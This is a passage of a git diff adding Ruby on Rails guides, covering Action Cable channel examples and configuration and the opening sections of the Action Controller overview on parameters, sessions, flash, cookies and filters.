+The following setup steps are common to both examples: + + 1. [Setup your connection](#connection-setup). + 2. [Setup your parent channel](#parent-channel-setup). + 3. [Connect your consumer](#connect-consumer). + +### Example 1: User Appearances + +Here's a simple example of a channel that tracks whether a user is online or not +and what page they're on. (This is useful for creating presence features like showing +a green dot next to a user name if they're online). + +Create the server-side appearance channel: + +```ruby +# app/channels/appearance_channel.rb +class AppearanceChannel < ApplicationCable::Channel + def subscribed + current_user.appear + end + + def unsubscribed + current_user.disappear + end + + def appear(data) + current_user.appear(on: data['appearing_on']) + end + + def away + current_user.away + end +end +``` + +When a subscription is initiated the `subscribed` callback gets fired and we +take that opportunity to say "the current user has indeed appeared". That +appear/disappear API could be backed by Redis, a database, or whatever else. + +Create the client-side appearance channel subscription: + +```coffeescript +# app/assets/javascripts/cable/subscriptions/appearance.coffee +App.cable.subscriptions.create "AppearanceChannel", + # Called when the subscription is ready for use on the server. + connected: -> + @install() + @appear() + + # Called when the WebSocket connection is closed. + disconnected: -> + @uninstall() + + # Called when the subscription is rejected by the server. + rejected: -> + @uninstall() + + appear: -> + # Calls `AppearanceChannel#appear(data)` on the server. + @perform("appear", appearing_on: $("main").data("appearing-on")) + + away: -> + # Calls `AppearanceChannel#away` on the server. + @perform("away") + + + buttonSelector = "[data-behavior~=appear_away]" + + install: -> + $(document).on "turbolinks:load.appearance", => + @appear() + + $(document).on "click.appearance", buttonSelector, => + @away() + false + + $(buttonSelector).show() + + uninstall: -> + $(document).off(".appearance") + $(buttonSelector).hide() +``` + +##### Client-Server Interaction + +1. **Client** connects to the **Server** via `App.cable = +ActionCable.createConsumer("ws://cable.example.com")`. (`cable.js`). The +**Server** identifies this connection by `current_user`. + +2. **Client** subscribes to the appearance channel via +`App.cable.subscriptions.create(channel: "AppearanceChannel")`. (`appearance.coffee`) + +3. **Server** recognizes a new subscription has been initiated for the +appearance channel and runs its `subscribed` callback, calling the `appear` +method on `current_user`. (`appearance_channel.rb`) + +4. **Client** recognizes that a subscription has been established and calls +`connected` (`appearance.coffee`) which in turn calls `@install` and `@appear`. +`@appear` calls `AppearanceChannel#appear(data)` on the server, and supplies a +data hash of `{ appearing_on: $("main").data("appearing-on") }`. This is +possible because the server-side channel instance automatically exposes all +public methods declared on the class (minus the callbacks), so that these can be +reached as remote procedure calls via a subscription's `perform` method. + +5. **Server** receives the request for the `appear` action on the appearance +channel for the connection identified by `current_user` +(`appearance_channel.rb`). **Server** retrieves the data with the +`:appearing_on` key from the data hash and sets it as the value for the `:on` +key being passed to `current_user.appear`. + +### Example 2: Receiving New Web Notifications + +The appearance example was all about exposing server functionality to +client-side invocation over the WebSocket connection. But the great thing +about WebSockets is that it's a two-way street. So now let's show an example +where the server invokes an action on the client. + +This is a web notification channel that allows you to trigger client-side +web notifications when you broadcast to the right streams: + +Create the server-side web notifications channel: + +```ruby +# app/channels/web_notifications_channel.rb +class WebNotificationsChannel < ApplicationCable::Channel + def subscribed + stream_for current_user + end +end +``` + +Create the client-side web notifications channel subscription: + +```coffeescript +# app/assets/javascripts/cable/subscriptions/web_notifications.coffee +# Client-side which assumes you've already requested +# the right to send web notifications. +App.cable.subscriptions.create "WebNotificationsChannel", + received: (data) -> + new Notification data["title"], body: data["body"] +``` + +Broadcast content to a web notification channel instance from elsewhere in your +application: + +```ruby +# Somewhere in your app this is called, perhaps from a NewCommentJob +WebNotificationsChannel.broadcast_to( + current_user, + title: 'New things!', + body: 'All the news fit to print' +) +``` + +The `WebNotificationsChannel.broadcast_to` call places a message in the current +subscription adapter's pubsub queue under a separate broadcasting name for each +user. For a user with an ID of 1, the broadcasting name would be +`web_notifications:1`. + +The channel has been instructed to stream everything that arrives at +`web_notifications:1` directly to the client by invoking the `received` +callback. The data passed as argument is the hash sent as the second parameter +to the server-side broadcast call, JSON encoded for the trip across the wire +and unpacked for the data argument arriving as `received`. + +### More Complete Examples + +See the [rails/actioncable-examples](https://github.com/rails/actioncable-examples) +repository for a full example of how to setup Action Cable in a Rails app and adding channels. + +## Configuration + +Action Cable has two required configurations: a subscription adapter and allowed request origins. + +### Subscription Adapter + +By default, Action Cable looks for a configuration file in `config/cable.yml`. +The file must specify an adapter for each Rails environment. See the +[Dependencies](#dependencies) section for additional information on adapters. + +```yaml +development: + adapter: async + +test: + adapter: async + +production: + adapter: redis + url: redis://10.10.3.153:6381 + channel_prefix: appname_production +``` +#### Adapter Configuration + +Below is a list of the subscription adapters available for end users. + +##### Async Adapter + +The async adapter is intended for development/testing and should not be used in production. + +##### Redis Adapter + +The Redis adapter requires users to provide a URL pointing to the Redis server. +Additionally, a `channel_prefix` may be provided to avoid channel name collisions +when using the same Redis server for multiple applications. See the [Redis PubSub documentation](https://redis.io/topics/pubsub#database-amp-scoping) for more details. + +##### PostgreSQL Adapter + +The PostgreSQL adapter uses Active Record's connection pool, and thus the +application's `config/database.yml` database configuration, for its connection. +This may change in the future. [#27214](https://github.com/rails/rails/issues/27214) + +### Allowed Request Origins + +Action Cable will only accept requests from specified origins, which are +passed to the server config as an array. The origins can be instances of +strings or regular expressions, against which a check for the match will be performed. + +```ruby +config.action_cable.allowed_request_origins = ['http://rubyonrails.com', %r{http://ruby.*}] +``` + +To disable and allow requests from any origin: + +```ruby +config.action_cable.disable_request_forgery_protection = true +``` + +By default, Action Cable allows all requests from localhost:3000 when running +in the development environment. + +### Consumer Configuration + +To configure the URL, add a call to `action_cable_meta_tag` in your HTML layout +HEAD. This uses a URL or path typically set via `config.action_cable.url` in the +environment configuration files. + +### Other Configurations + +The other common option to configure is the log tags applied to the +per-connection logger. Here's an example that uses +the user account id if available, else "no-account" while tagging: + +```ruby +config.action_cable.log_tags = [ + -> request { request.env['user_account_id'] || "no-account" }, + :action_cable, + -> request { request.uuid } +] +``` + +For a full list of all configuration options, see the +`ActionCable::Server::Configuration` class. + +Also, note that your server must provide at least the same number of database +connections as you have workers. The default worker pool size is set to 4, so +that means you have to make at least that available. You can change that in +`config/database.yml` through the `pool` attribute. + +## Running Standalone Cable Servers + +### In App + +Action Cable can run alongside your Rails application. For example, to +listen for WebSocket requests on `/websocket`, specify that path to +`config.action_cable.mount_path`: + +```ruby +# config/application.rb +class Application < Rails::Application + config.action_cable.mount_path = '/websocket' +end +``` + +You can use `App.cable = ActionCable.createConsumer()` to connect to the cable +server if `action_cable_meta_tag` is invoked in the layout. A custom path is +specified as first argument to `createConsumer` (e.g. `App.cable = +ActionCable.createConsumer("/websocket")`). + +For every instance of your server you create and for every worker your server +spawns, you will also have a new instance of Action Cable, but the use of Redis +keeps messages synced across connections. + +### Standalone + +The cable servers can be separated from your normal application server. It's +still a Rack application, but it is its own Rack application. The recommended +basic setup is as follows: + +```ruby +# cable/config.ru +require_relative '../config/environment' +Rails.application.eager_load! + +run ActionCable.server +``` + +Then you start the server using a binstub in `bin/cable` ala: + +``` +#!/bin/bash +bundle exec puma -p 28080 cable/config.ru +``` + +The above will start a cable server on port 28080. + +### Notes + +The WebSocket server doesn't have access to the session, but it has +access to the cookies. This can be used when you need to handle +authentication. You can see one way of doing that with Devise in this [article](https://greg.molnar.io/blog/actioncable-devise-authentication/). + +## Dependencies + +Action Cable provides a subscription adapter interface to process its +pubsub internals. By default, asynchronous, inline, PostgreSQL, and Redis +adapters are included. The default adapter +in new Rails applications is the asynchronous (`async`) adapter. + +The Ruby side of things is built on top of [websocket-driver](https://github.com/faye/websocket-driver-ruby), +[nio4r](https://github.com/celluloid/nio4r), and [concurrent-ruby](https://github.com/ruby-concurrency/concurrent-ruby). + +## Deployment + +Action Cable is powered by a combination of WebSockets and threads. Both the +framework plumbing and user-specified channel work are handled internally by +utilizing Ruby's native thread support. This means you can use all your regular +Rails models with no problem, as long as you haven't committed any thread-safety sins. + +The Action Cable server implements the Rack socket hijacking API, +thereby allowing the use of a multithreaded pattern for managing connections +internally, irrespective of whether the application server is multi-threaded or not. + +Accordingly, Action Cable works with popular servers like Unicorn, Puma, and +Passenger. diff --git a/guides/source/action_controller_overview.md b/guides/source/action_controller_overview.md new file mode 100644 index 0000000000..aa746e4731 --- /dev/null +++ b/guides/source/action_controller_overview.md @@ -0,0 +1,1186 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Action Controller Overview +========================== + +In this guide you will learn how controllers work and how they fit into the request cycle in your application. + +After reading this guide, you will know: + +* How to follow the flow of a request through a controller. +* How to restrict parameters passed to your controller. +* How and why to store data in the session or cookies. +* How to work with filters to execute code during request processing. +* How to use Action Controller's built-in HTTP authentication. +* How to stream data directly to the user's browser. +* How to filter sensitive parameters so they do not appear in the application's log. +* How to deal with exceptions that may be raised during request processing. + +-------------------------------------------------------------------------------- + +What Does a Controller Do? +-------------------------- + +Action Controller is the C in [MVC](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller). After the router has determined which controller to use for a request, the controller is responsible for making sense of the request, and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible. + +For most conventional [RESTful](https://en.wikipedia.org/wiki/Representational_state_transfer) applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model, and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work. + +A controller can thus be thought of as a middleman between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates user data to the model. + +NOTE: For more details on the routing process, see [Rails Routing from the Outside In](routing.html). + +Controller Naming Convention +---------------------------- + +The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. `ApplicationController`). For example, `ClientsController` is preferable to `ClientController`, `SiteAdminsController` is preferable to `SiteAdminController` or `SitesAdminsController`, and so on. + +Following this convention will allow you to use the default route generators (e.g. `resources`, etc) without needing to qualify each `:path` or `:controller`, and will keep URL and path helpers' usage consistent throughout your application. See [Layouts & Rendering Guide](layouts_and_rendering.html) for more details. + +NOTE: The controller naming convention differs from the naming convention of models, which are expected to be named in singular form. + + +Methods and Actions +------------------- + +A controller is a Ruby class which inherits from `ApplicationController` and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action. + +```ruby +class ClientsController < ApplicationController + def new + end +end +``` + +As an example, if a user goes to `/clients/new` in your application to add a new client, Rails will create an instance of `ClientsController` and call its `new` method. Note that the empty method from the example above would work just fine because Rails will by default render the `new.html.erb` view unless the action says otherwise. By creating a new `Client`, the `new` method can make a `@client` instance variable accessible in the view: + +```ruby +def new + @client = Client.new +end +``` + +The [Layouts & Rendering Guide](layouts_and_rendering.html) explains this in more detail. + +`ApplicationController` inherits from `ActionController::Base`, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the [API documentation](http://api.rubyonrails.org/classes/ActionController.html) or in the source itself. + +Only public methods are callable as actions. It is a best practice to lower the visibility of methods (with `private` or `protected`) which are not intended to be actions, like auxiliary methods or filters. + +Parameters +---------- + +You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the `params` hash in your controller: + +```ruby +class ClientsController < ApplicationController + # This action uses query string parameters because it gets run + # by an HTTP GET request, but this does not make any difference + # to the way in which the parameters are accessed. The URL for + # this action would look like this in order to list activated + # clients: /clients?status=activated + def index + if params[:status] == "activated" + @clients = Client.activated + else + @clients = Client.inactivated + end + end + + # This action uses POST parameters. They are most likely coming + # from an HTML form which the user has submitted. The URL for + # this RESTful request will be "/clients", and the data will be + # sent as part of the request body. + def create + @client = Client.new(params[:client]) + if @client.save + redirect_to @client + else + # This line overrides the default rendering behavior, which + # would have been to render the "create" view. + render "new" + end + end +end +``` + +### Hash and Array Parameters + +The `params` hash is not limited to one-dimensional keys and values. It can contain nested arrays and hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name: + +``` +GET /clients?ids[]=1&ids[]=2&ids[]=3 +``` + +NOTE: The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as the "[" and "]" characters are not allowed in URLs. Most of the time you don't have to worry about this because the browser will encode it for you, and Rails will decode it automatically, but if you ever find yourself having to send those requests to the server manually you should keep this in mind. + +The value of `params[:ids]` will now be `["1", "2", "3"]`. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type. + +NOTE: Values such as `[nil]` or `[nil, nil, ...]` in `params` are replaced +with `[]` for security reasons by default. See [Security Guide](security.html#unsafe-query-generation) +for more information. + +To send a hash, you include the key name inside the brackets: + +```html +<form accept-charset="UTF-8" action="/clients" method="post"> + <input type="text" name="client[name]" value="Acme" /> + <input type="text" name="client[phone]" value="12345" /> + <input type="text" name="client[address][postcode]" value="12345" /> + <input type="text" name="client[address][city]" value="Carrot City" /> +</form> +``` + +When this form is submitted, the value of `params[:client]` will be `{ "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }`. Note the nested hash in `params[:client][:address]`. + +The `params` object acts like a Hash, but lets you use symbols and strings interchangeably as keys. + +### JSON parameters + +If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. If the "Content-Type" header of your request is set to "application/json", Rails will automatically load your parameters into the `params` hash, which you can access as you would normally. + +So for example, if you are sending this JSON content: + +```json +{ "company": { "name": "acme", "address": "123 Carrot Street" } } +``` + +Your controller will receive `params[:company]` as `{ "name" => "acme", "address" => "123 Carrot Street" }`. + +Also, if you've turned on `config.wrap_parameters` in your initializer or called `wrap_parameters` in your controller, you can safely omit the root element in the JSON parameter. In this case, the parameters will be cloned and wrapped with a key chosen based on your controller's name. So the above JSON request can be written as: + +```json +{ "name": "acme", "address": "123 Carrot Street" } +``` + +And, assuming that you're sending the data to `CompaniesController`, it would then be wrapped within the `:company` key like this: + +```ruby +{ name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } } +``` + +You can customize the name of the key or specific parameters you want to wrap by consulting the [API documentation](http://api.rubyonrails.org/classes/ActionController/ParamsWrapper.html) + +NOTE: Support for parsing XML parameters has been extracted into a gem named `actionpack-xml_parser`. + +### Routing Parameters + +The `params` hash will always contain the `:controller` and `:action` keys, but you should use the methods `controller_name` and `action_name` instead to access these values. Any other parameters defined by the routing, such as `:id`, will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the `:status` parameter in a "pretty" URL: + +```ruby +get '/clients/:status', to: 'clients#index', foo: 'bar' +``` + +In this case, when a user opens the URL `/clients/active`, `params[:status]` will be set to "active". When this route is used, `params[:foo]` will also be set to "bar", as if it were passed in the query string. Your controller will also receive `params[:action]` as "index" and `params[:controller]` as "clients". + +### `default_url_options` + +You can set global default parameters for URL generation by defining a method called `default_url_options` in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols: + +```ruby +class ApplicationController < ActionController::Base + def default_url_options + { locale: I18n.locale } + end +end +``` + +These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed to `url_for` calls. + +If you define `default_url_options` in `ApplicationController`, as in the example above, these defaults will be used for all URL generation. The method can also be defined in a specific controller, in which case it only affects URLs generated there. + +In a given request, the method is not actually called for every single generated URL; for performance reasons, the returned hash is cached, there is at most one invocation per request. + +### Strong Parameters + +With strong parameters, Action Controller parameters are forbidden to +be used in Active Model mass assignments until they have been +permitted. This means that you'll have to make a conscious decision about +which attributes to permit for mass update. This is a better security +practice to help prevent accidentally allowing users to update sensitive +model attributes. + +In addition, parameters can be marked as required and will flow through a +predefined raise/rescue flow that will result in a 400 Bad Request being +returned if not all required parameters are passed in. + +```ruby +class PeopleController < ActionController::Base + # This will raise an ActiveModel::ForbiddenAttributesError exception + # because it's using mass assignment without an explicit permit + # step. + def create + Person.create(params[:person]) + end + + # This will pass with flying colors as long as there's a person key + # in the parameters, otherwise it'll raise a + # ActionController::ParameterMissing exception, which will get + # caught by ActionController::Base and turned into a 400 Bad + # Request error. + def update + person = current_account.people.find(params[:id]) + person.update!(person_params) + redirect_to person + end + + private + # Using a private method to encapsulate the permissible parameters + # is just a good pattern since you'll be able to reuse the same + # permit list between create and update. Also, you can specialize + # this method with per-user checking of permissible attributes. + def person_params + params.require(:person).permit(:name, :age) + end +end +``` + +#### Permitted Scalar Values + +Given + +```ruby +params.permit(:id) +``` + +the key `:id` will be permitted for inclusion if it appears in `params` and +it has a permitted scalar value associated. Otherwise, the key is going +to be filtered out, so arrays, hashes, or any other objects cannot be +injected. + +The permitted scalar types are `String`, `Symbol`, `NilClass`, +`Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`, +`StringIO`, `IO`, `ActionDispatch::Http::UploadedFile`, and +`Rack::Test::UploadedFile`. + +To declare that the value in `params` must be an array of permitted +scalar values, map the key to an empty array: + +```ruby +params.permit(id: []) +``` + +Sometimes it is not possible or convenient to declare the valid keys of +a hash parameter or its internal structure. Just map to an empty hash: + +```ruby +params.permit(preferences: {}) +``` + +but be careful because this opens the door to arbitrary input. In this +case, `permit` ensures values in the returned structure are permitted +scalars and filters out anything else. + +To permit an entire hash of parameters, the `permit!` method can be +used: + +```ruby +params.require(:log_entry).permit! +``` + +This marks the `:log_entry` parameters hash and any sub-hash of it as +permitted and does not check for permitted scalars, anything is accepted. +Extreme care should be taken when using `permit!`, as it will allow all current +and future model attributes to be mass-assigned. + +#### Nested Parameters + +You can also use `permit` on nested parameters, like: + +```ruby +params.permit(:name, { emails: [] }, + friends: [ :name, + { family: [ :name ], hobbies: [] }]) +``` + +This declaration permits the `name`, `emails`, and `friends` +attributes. It is expected that `emails` will be an array of permitted +scalar values, and that `friends` will be an array of resources with +specific attributes: they should have a `name` attribute (any +permitted scalar values allowed), a `hobbies` attribute as an array of +permitted scalar values, and a `family` attribute which is restricted +to having a `name` (any permitted scalar values allowed here, too). + +#### More Examples + +You may want to also use the permitted attributes in your `new` +action. This raises the problem that you can't use `require` on the +root key because, normally, it does not exist when calling `new`: + +```ruby +# using `fetch` you can supply a default and use +# the Strong Parameters API from there. +params.fetch(:blog, {}).permit(:title, :author) +``` + +The model class method `accepts_nested_attributes_for` allows you to +update and destroy associated records. This is based on the `id` and `_destroy` +parameters: + +```ruby +# permit :id and :_destroy +params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy]) +``` + +Hashes with integer keys are treated differently, and you can declare +the attributes as if they were direct children. You get these kinds of +parameters when you use `accepts_nested_attributes_for` in combination +with a `has_many` association: + +```ruby +# To permit the following data: +# {"book" => {"title" => "Some Book", +# "chapters_attributes" => { "1" => {"title" => "First Chapter"}, +# "2" => {"title" => "Second Chapter"}}}} + +params.require(:book).permit(:title, chapters_attributes: [:title]) +``` + +Imagine a scenario where you have parameters representing a product +name and a hash of arbitrary data associated with that product, and +you want to permit the product name attribute and also the whole +data hash: + +```ruby +def product_params + params.require(:product).permit(:name, data: {}) +end +``` + +#### Outside the Scope of Strong Parameters + +The strong parameter API was designed with the most common use cases +in mind. It is not meant as a silver bullet to handle all of your +parameter filtering problems. However, you can easily mix the API with your +own code to adapt to your situation. + +Session +------- + +Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms: + +* `ActionDispatch::Session::CookieStore` - Stores everything on the client. +* `ActionDispatch::Session::CacheStore` - Stores the data in the Rails cache. +* `ActionDispatch::Session::ActiveRecordStore` - Stores the data in a database using Active Record. (require `activerecord-session_store` gem). +* `ActionDispatch::Session::MemCacheStore` - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead). + +All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure). + +For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its contents. (Rails will not accept it if it has been edited). + +The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. + +If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time. + +Read more about session storage in the [Security Guide](security.html). + +If you need a different session storage mechanism, you can change it in an initializer: + +```ruby +# Use the database for sessions instead of the cookie-based default, +# which shouldn't be used to store highly confidential information +# (create the session table with "rails g active_record:session_migration") +# Rails.application.config.session_store :active_record_store +``` + +Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in an initializer: + +```ruby +# Be sure to restart your server when you modify this file. +Rails.application.config.session_store :cookie_store, key: '_your_app_session' +``` + +You can also pass a `:domain` key and specify the domain name for the cookie: + +```ruby +# Be sure to restart your server when you modify this file. +Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com" +``` + +Rails sets up (for the CookieStore) a secret key used for signing the session data in `config/credentials.yml.enc`. This can be changed with `rails credentials:edit`. + +```ruby +# aws: +# access_key_id: 123 +# secret_access_key: 345 + +# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies. +secret_key_base: 492f... +``` + +NOTE: Changing the secret_key_base when using the `CookieStore` will invalidate all existing sessions. + +### Accessing the Session + +In your controller you can access the session through the `session` instance method. + +NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job. + +Session values are stored using key/value pairs like a hash: + +```ruby +class ApplicationController < ActionController::Base + + private + + # Finds the User with the ID stored in the session with the key + # :current_user_id This is a common way to handle user login in + # a Rails application; logging in sets the session value and + # logging out removes it. + def current_user + @_current_user ||= session[:current_user_id] && + User.find_by(id: session[:current_user_id]) + end +end +``` + +To store something in the session, just assign it to the key like a hash: + +```ruby +class LoginsController < ApplicationController + # "Create" a login, aka "log the user in" + def create + if user = User.authenticate(params[:username], params[:password]) + # Save the user ID in the session so it can be used in + # subsequent requests + session[:current_user_id] = user.id + redirect_to root_url + end + end +end +``` + +To remove something from the session, delete the key/value pair: + +```ruby +class LoginsController < ApplicationController + # "Delete" a login, aka "log the user out" + def destroy + # Remove the user id from the session + session.delete(:current_user_id) + # Clear the memoized current user + @_current_user = nil + redirect_to root_url + end +end +``` + +To reset the entire session, use `reset_session`. + +### The Flash + +The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc. + +It is accessed in much the same way as the session, as a hash (it's a [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html) instance). + +Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request: + +```ruby +class LoginsController < ApplicationController + def destroy + session.delete(:current_user_id) + flash[:notice] = "You have successfully logged out." + redirect_to root_url + end +end +``` + +Note that it is also possible to assign a flash message as part of the redirection. You can assign `:notice`, `:alert` or the general purpose `:flash`: + +```ruby +redirect_to root_url, notice: "You have successfully logged out." +redirect_to root_url, alert: "You're stuck here!" +redirect_to root_url, flash: { referral_code: 1234 } +``` + +The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout: + +```erb +<html> + <!-- <head/> --> + <body> + <% flash.each do |name, msg| -%> + <%= content_tag :div, msg, class: name %> + <% end -%> + + <!-- more content --> + </body> +</html> +``` + +This way, if an action sets a notice or an alert message, the layout will display it automatically. + +You can pass anything that the session can store; you're not limited to notices and alerts: + +```erb +<% if flash[:just_signed_up] %> + <p class="welcome">Welcome to our site!</p> +<% end %> +``` + +If you want a flash value to be carried over to another request, use the `keep` method: + +```ruby +class MainController < ApplicationController + # Let's say this action corresponds to root_url, but you want + # all requests here to be redirected to UsersController#index. + # If an action sets the flash and redirects here, the values + # would normally be lost when another redirect happens, but you + # can use 'keep' to make it persist for another request. + def index + # Will persist all flash values. + flash.keep + + # You can also use a key to keep only some kind of value. + # flash.keep(:notice) + redirect_to users_url + end +end +``` + +#### `flash.now` + +By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`: + +```ruby +class ClientsController < ApplicationController + def create + @client = Client.new(params[:client]) + if @client.save + # ... + else + flash.now[:error] = "Could not save client" + render action: "new" + end + end +end +``` + +Cookies +------- + +Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash: + +```ruby +class CommentsController < ApplicationController + def new + # Auto-fill the commenter's name if it has been stored in a cookie + @comment = Comment.new(author: cookies[:commenter_name]) + end + + def create + @comment = Comment.new(params[:comment]) + if @comment.save + flash[:notice] = "Thanks for your comment!" + if params[:remember_name] + # Remember the commenter's name. + cookies[:commenter_name] = @comment.author + else + # Delete cookie for the commenter's name cookie, if any. + cookies.delete(:commenter_name) + end + redirect_to @comment.article + else + render action: "new" + end + end +end +``` + +Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`. + +Rails also provides a signed cookie jar and an encrypted cookie jar for storing +sensitive data. The signed cookie jar appends a cryptographic signature on the +cookie values to protect their integrity. The encrypted cookie jar encrypts the +values in addition to signing them, so that they cannot be read by the end user. +Refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) +for more details. + +These special cookie jars use a serializer to serialize the assigned values into +strings and deserializes them into Ruby objects on read. + +You can specify what serializer to use: + +```ruby +Rails.application.config.action_dispatch.cookies_serializer = :json +``` + +The default serializer for new applications is `:json`. For compatibility with +old applications with existing cookies, `:marshal` is used when `serializer` +option is not specified. + +You may also set this option to `:hybrid`, in which case Rails would transparently +deserialize existing (`Marshal`-serialized) cookies on read and re-write them in +the `JSON` format. This is useful for migrating existing applications to the +`:json` serializer. + +It is also possible to pass a custom serializer that responds to `load` and +`dump`: + +```ruby +Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer +``` + +When using the `:json` or `:hybrid` serializer, you should beware that not all +Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects +will be serialized as strings, and `Hash`es will have their keys stringified. + +```ruby +class CookiesController < ApplicationController + def set_cookie + cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014 + redirect_to action: 'read_cookie' + end + + def read_cookie + cookies.encrypted[:expiration_date] # => "2014-03-20" + end +end +``` + +It's advisable that you only store simple data (strings and numbers) in cookies. +If you have to store complex objects, you would need to handle the conversion +manually when reading the values on subsequent requests. + +If you use the cookie session store, this would apply to the `session` and +`flash` hash as well. + +Rendering XML and JSON data +--------------------------- + +ActionController makes it extremely easy to render `XML` or `JSON` data. If you've generated a controller using scaffolding, it would look something like this: + +```ruby +class UsersController < ApplicationController + def index + @users = User.all + respond_to do |format| + format.html # index.html.erb + format.xml { render xml: @users } + format.json { render json: @users } + end + end +end +``` + +You may notice in the above code that we're using `render xml: @users`, not `render xml: @users.to_xml`. If the object is not a String, then Rails will automatically invoke `to_xml` for us. + +Filters +------- + +Filters are methods that are run "before", "after" or "around" a controller action. + +Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application. + +"before" filters may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way: + +```ruby +class ApplicationController < ActionController::Base + before_action :require_login + + private + + def require_login + unless logged_in? + flash[:error] = "You must be logged in to access this section" + redirect_to new_login_url # halts request cycle + end + end +end +``` + +The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a "before" filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter, they are also cancelled. + +In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_action`: + +```ruby +class LoginsController < ApplicationController + skip_before_action :require_login, only: [:new, :create] +end +``` + +Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to skip this filter only for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. + +NOTE: Calling the same filter multiple times with different options will not work, +since the last filter definition will overwrite the previous ones. + +### After Filters and Around Filters + +In addition to "before" filters, you can also run filters after an action has been executed, or both before and after. + +"after" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running. Please note that "after" filters are executed only after a successful action, but not when an exception is raised in the request cycle. + +"around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work. + +For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction: + +```ruby +class ChangesController < ApplicationController + around_action :wrap_in_transaction, only: :show + + private + + def wrap_in_transaction + ActiveRecord::Base.transaction do + begin + yield + ensure + raise ActiveRecord::Rollback + end + end + end +end +``` + +Note that an "around" filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview. + +You can choose not to yield and build the response yourself, in which case the action will not be run. + +### Other Ways to Use Filters + +While the most common way to use filters is by creating private methods and using *_action to add them, there are two other ways to do the same 